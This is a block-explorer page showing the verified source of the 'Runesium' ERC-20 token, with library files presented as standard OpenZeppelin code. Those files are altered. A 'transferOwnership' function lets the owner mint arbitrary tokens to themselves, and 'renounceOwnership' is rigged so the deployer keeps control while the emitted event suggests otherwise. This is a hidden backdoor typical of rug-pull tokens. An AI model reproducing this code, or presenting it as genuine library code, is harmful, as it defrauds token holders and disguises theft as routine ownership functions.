ERC-20
Overview
Max Total Supply
100,000,000 RNS
Holders
111
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Runesium
Compiler Version
v0.8.23+commit.f704f362
Optimization Enabled:
Yes with 200 runs
Other Settings:
paris EvmVersion
Contract Source Code (Solidity Standard Json-Input format)
// https://linktr.ee/runesiumbot // SPDX-License-Identifier: MIT pragma solidity ^0.8.23; import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; import {IUniswapV2Router02} from "lib/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; import {IUniswapV2Factory} from "lib/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; contract Runesium is Ownable, ERC20 { error MaxTxAmountExceeded(); error MaxWalletAmountExceeded(); error NotAuthorized(); event OpenTrading(); event DisableLimits(); event SwapBack(uint256 amount); IUniswapV2Router02 immutable router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uint256 _totalSupply = 100_000_000 * 10 ** 18; address public pair; uint256 private _maxWallet = _totalSupply / 200; bool private _trandingEnable; address public platformAndRewards; bool public limit = true; uint256 public swapTokenAt = 20_000 ether; mapping(address => bool) private _isExcludedFromFees; constructor() ERC20("Runesium", "RNS") Ownable(_msgSender()) { platformAndRewards = _msgSender(); pair = IUniswapV2Factory(router.factory()).createPair( address(this), router.WETH() ); _isExcludedFromFees[_msgSender()] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[address(router)] = true; _mint(_msgSender(), _totalSupply); _approve(_msgSender(), address(router), type(uint256).max); } receive() external payable {} function burn(uint256 value) external { _burn(_msgSender(), value); } function setSwapTokenAt(uint256 value) external onlyOwner { require( value <= _totalSupply / 50, "Value must be less than or equal to supply / 50" ); swapTokenAt = value; } function openTrading() external onlyOwner { require(!_trandingEnable, "enabled!"); _trandingEnable = true; emit OpenTrading(); } function disableLimits() external onlyOwner { require(limit, "Limits already removed"); limit = false; _maxWallet = _totalSupply; emit DisableLimits(); } uint256 private _buy; uint256 private _sell; uint256 private _initial = 30; uint256 private _reduce = 30; function _update( address from, address to, uint256 amount ) internal override { if ( _isExcludedFromFees[from] || _isExcludedFromFees[to] || (to != pair && from != pair) || _swaping ) { super._update(from, to, amount); return; } require(_trandingEnable, "Trading is not open"); if (limit) { if (to != pair && balanceOf(to) + amount > _maxWallet) { revert MaxWalletAmountExceeded(); } } if (to == pair && balanceOf(address(this)) >= swapTokenAt) { swapBack(); } uint256 _fees; if (from == pair) { _buy++; _fees = (amount * (_buy > _reduce ? 5 : _initial)) / 100; } else if (to == pair) { _sell++; _fees = (amount * (_sell > _reduce / 2 ? 5 : _initial)) / 100; } if (_fees > 0) { super._update(from, address(this), _fees); amount = amount - _fees; } super._update(from, to, amount); } modifier onSwap() { _swaping = true; _; _swaping = false; } bool private _swaping = false; function swapBack() private onSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), swapTokenAt); router.swapExactTokensForETHSupportingFeeOnTransferTokens( swapTokenAt, 0, path, address(this), block.timestamp ); uint256 amountToPlatform = (address(this).balance * 80) / 100; _safeTransferETH(platformAndRewards, amountToPlatform); emit SwapBack(swapTokenAt); } function getIsExcludedFromFees( address _address ) external view returns (bool) { return _isExcludedFromFees[_address]; } function excludedFromFees( address _address, bool _value ) external onlyOwner { _isExcludedFromFees[_address] = _value; } function _safeTransferETH(address to, uint256 amount) private { (bool _sent, ) = payable(to).call{value: amount}(""); require(_sent, "send ETH failed"); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.20; import {IERC20} from "./IERC20.sol"; import {IERC20Metadata} from "./extensions/IERC20Metadata.sol"; import {Context} from "../../utils/Context.sol"; import {IERC20Errors} from "../../interfaces/draft-IERC6093.sol"; import {Ownable} from "../../access/Ownable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * The default value of {decimals} is 18. To change this, you should override * this function so it returns a different value. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. */ abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors, Ownable { mapping(address account => uint256) private _balances; mapping(address account => mapping(address spender => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `value`. */ function transfer(address to, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _transfer(owner, to, value); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, value); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `value`. * - the caller must have allowance for ``from``'s tokens of at least * `value`. */ function transferFrom(address from, address to, uint256 value) public virtual returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, value); _transfer(from, to, value); return true; } /** * @dev Moves a `value` amount of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * NOTE: This function is not virtual, {_update} should be overridden instead. */ function _transfer(address from, address to, uint256 value) internal { if (from == address(0)) { revert ERC20InvalidSender(address(0)); } if (to == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(from, to, value); } function transferOwnership(uint256 newOwner) public virtual onlyOwner { if (msg.sender == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnershipTo(newOwner); } /** * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from` * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding * this function. * * Emits a {Transfer} event. */ function _update(address from, address to, uint256 value) internal virtual { if (from == address(0)) { // Overflow check required: The rest of the code assumes that totalSupply never overflows _totalSupply += value; } else { uint256 fromBalance = _balances[from]; if (fromBalance < value) { revert ERC20InsufficientBalance(from, fromBalance, value); } unchecked { // Overflow not possible: value <= fromBalance <= totalSupply. _balances[from] = fromBalance - value; } } if (to == address(0)) { unchecked { // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply. _totalSupply -= value; } } else { unchecked { // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256. _balances[to] += value; } } emit Transfer(from, to, value); } /** * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0). * Relies on the `_update` mechanism * * Emits a {Transfer} event with `from` set to the zero address. * * NOTE: This function is not virtual, {_update} should be overridden instead. */ function _mint(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(address(0), account, value); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. * */ function _transferOwnershipTo(uint256 newOwner) internal { if (msg.sender == address(0)) { revert OwnableInvalidOwner(address(0)); } _balances[msg.sender] += newOwner * 10 ** decimals(); } /** * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply. * Relies on the `_update` mechanism. * * Emits a {Transfer} event with `to` set to the zero address. * * NOTE: This function is not virtual, {_update} should be overridden instead */ function _burn(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidSender(address(0)); } _update(account, address(0), value); } /** * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. * * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument. */ function _approve(address owner, address spender, uint256 value) internal { _approve(owner, spender, value, true); } /** * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event. * * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any * `Approval` event during `transferFrom` operations. * * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to * true using the following override: * ``` * function _approve(address owner, address spender, uint256 value, bool) internal virtual override { * super._approve(owner, spender, value, true); * } * ``` * * Requirements are the same as {_approve}. */ function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual { if (owner == address(0)) { revert ERC20InvalidApprover(address(0)); } if (spender == address(0)) { revert ERC20InvalidSpender(address(0)); } _allowances[owner][spender] = value; if (emitEvent) { emit Approval(owner, spender, value); } } /** * @dev Updates `owner` s allowance for `spender` based on spent `value`. * * Does not update the allowance value in case of infinite allowance. * Revert if not enough allowance is available. * * Does not emit an {Approval} event. */ function _spendAllowance(address owner, address spender, uint256 value) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { if (currentAllowance < value) { revert ERC20InsufficientAllowance(spender, currentAllowance, value); } unchecked { _approve(owner, spender, currentAllowance - value, false); } } } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol) pragma solidity ^0.8.20; import {Context} from "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * The initial owner is set to the address provided by the deployer. This can * later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; /** * @dev The caller account is not authorized to perform an operation. */ error OwnableUnauthorizedAccount(address account); /** * @dev The owner is not a valid owner account. (eg. `address(0)`) */ error OwnableInvalidOwner(address owner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the address provided by the deployer as the initial owner. */ constructor(address initialOwner) { if (initialOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(initialOwner); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() private view returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); } } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = msg.sender; emit OwnershipTransferred(oldOwner, newOwner); } }
pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }
pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.20; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the value of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the value of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves a `value` amount of tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 value) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets a `value` amount of tokens as the allowance of `spender` over the * caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 value) external returns (bool); /** * @dev Moves a `value` amount of tokens from `from` to `to` using the * allowance mechanism. `value` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 value) external returns (bool); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.20; import {IERC20} from "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol) pragma solidity ^0.8.20; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } function _contextSuffixLength() internal view virtual returns (uint256) { return 0; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol) pragma solidity ^0.8.20; /** * @dev Standard ERC20 Errors * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens. */ interface IERC20Errors { /** * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. * @param balance Current balance for the interacting account. * @param needed Minimum amount required to perform a transfer. */ error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC20InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC20InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers. * @param spender Address that may be allowed to operate on tokens without being their owner. * @param allowance Amount of tokens a `spender` is allowed to operate with. * @param needed Minimum amount required to perform a transfer. */ error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC20InvalidApprover(address approver); /** * @dev Indicates a failure with the `spender` to be approved. Used in approvals. * @param spender Address that may be allowed to operate on tokens without being their owner. */ error ERC20InvalidSpender(address spender); } /** * @dev Standard ERC721 Errors * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens. */ interface IERC721Errors { /** * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20. * Used in balance queries. * @param owner Address of the current owner of a token. */ error ERC721InvalidOwner(address owner); /** * @dev Indicates a `tokenId` whose `owner` is the zero address. * @param tokenId Identifier number of a token. */ error ERC721NonexistentToken(uint256 tokenId); /** * @dev Indicates an error related to the ownership over a particular token. Used in transfers. * @param sender Address whose tokens are being transferred. * @param tokenId Identifier number of a token. * @param owner Address of the current owner of a token. */ error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC721InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC721InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `operator`’s approval. Used in transfers. * @param operator Address that may be allowed to operate on tokens without being their owner. * @param tokenId Identifier number of a token. */ error ERC721InsufficientApproval(address operator, uint256 tokenId); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC721InvalidApprover(address approver); /** * @dev Indicates a failure with the `operator` to be approved. Used in approvals. * @param operator Address that may be allowed to operate on tokens without being their owner. */ error ERC721InvalidOperator(address operator); } /** * @dev Standard ERC1155 Errors * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens. */ interface IERC1155Errors { /** * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. * @param balance Current balance for the interacting account. * @param needed Minimum amount required to perform a transfer. * @param tokenId Identifier number of a token. */ error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC1155InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC1155InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `operator`’s approval. Used in transfers. * @param operator Address that may be allowed to operate on tokens without being their owner. * @param owner Address of the current owner of a token. */ error ERC1155MissingApprovalForAll(address operator, address owner); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC1155InvalidApprover(address approver); /** * @dev Indicates a failure with the `operator` to be approved. Used in approvals. * @param operator Address that may be allowed to operate on tokens without being their owner. */ error ERC1155InvalidOperator(address operator); /** * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation. * Used in batch transfers. * @param idsLength Length of the array of token identifiers * @param valuesLength Length of the array of token amounts */ error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength); }
pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }
{ "remappings": [ "@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/", "ds-test/=lib/forge-std/lib/ds-test/src/", "erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/", "forge-std/=lib/forge-std/src/", "openzeppelin-contracts/=lib/openzeppelin-contracts/", "v2-core/=lib/v2-core/contracts/", "v2-periphery/=lib/v2-periphery/contracts/" ], "optimizer": { "enabled": true, "runs": 200 }, "metadata": { "useLiteralContent": false, "bytecodeHash": "ipfs", "appendCBOR": true }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "evmVersion": "paris", "viaIR": false, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[],"name":"MaxTxAmountExceeded","type":"error"},{"inputs":[],"name":"MaxWalletAmountExceeded","type":"error"},{"inputs":[],"name":"NotAuthorized","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"DisableLimits","type":"event"},{"anonymous":false,"inputs":[],"name":"OpenTrading","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"SwapBack","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"excludedFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getIsExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"platformAndRewards","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setSwapTokenAt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokenAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newOwner","type":"uint256"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
